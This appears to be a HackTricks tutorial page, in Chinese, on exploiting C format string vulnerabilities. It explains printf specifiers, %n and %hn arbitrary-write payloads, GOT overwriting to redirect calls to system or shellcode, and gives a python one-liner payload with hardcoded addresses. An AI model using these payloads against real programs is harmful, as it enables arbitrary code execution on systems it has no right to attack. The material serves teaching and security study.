hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md

79 lines
4.7 KiB
Markdown
Raw Normal View History

# 格式化字符串
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
</details>
## 基本信息
在C中**`printf`**是一个函数,可用于**打印**一些字符串。该函数期望的**第一个参数**是**带有格式化符号的原始文本**。接下来期望的参数是要**替换**原始文本中的**格式化符号**的**值**。
当将**攻击者文本作为第一个参数**传递给此函数时,漏洞就会出现。攻击者将能够通过**滥用printf格式化字符串的能力**来**编写任何地址中的任何数据**,从而能够**执行任意代码**。
格式化符号:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **写入**了**写入的字节数**到**指定的地址。写入**与我们需要**写入的十六进制数一样多的字节**是您可以**写入任何数据**的方法。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### **利用流程**
如前所述,此漏洞允许**在任何地址上写入任何内容(任意写入)**。
目标是**覆盖**稍后将被调用的**GOT表**中函数的**地址**。理想情况下,我们可以将地址设置为位于可执行部分的**shellcode**但很可能您无法在可执行部分编写shellcode。\
因此,另一个选项是**覆盖**一个**从用户接收参数**的**函数**,并将其指向**`system`**函数。
通常需要执行两个步骤来写入地址:首先写入地址的**2字节**然后写入另外的2字节。为此使用**`$hn`**。
**HOB**用于地址的2个高字节\
**LOB**用于地址的2个低字节
因此,由于格式字符串的工作方式,您需要**首先写入较小的**\[HOBLOB],然后再写入另一个。
如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
如果 HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
## Pwntools 模板
您可以在以下位置找到准备此类漏洞的利用的模板:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向[hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>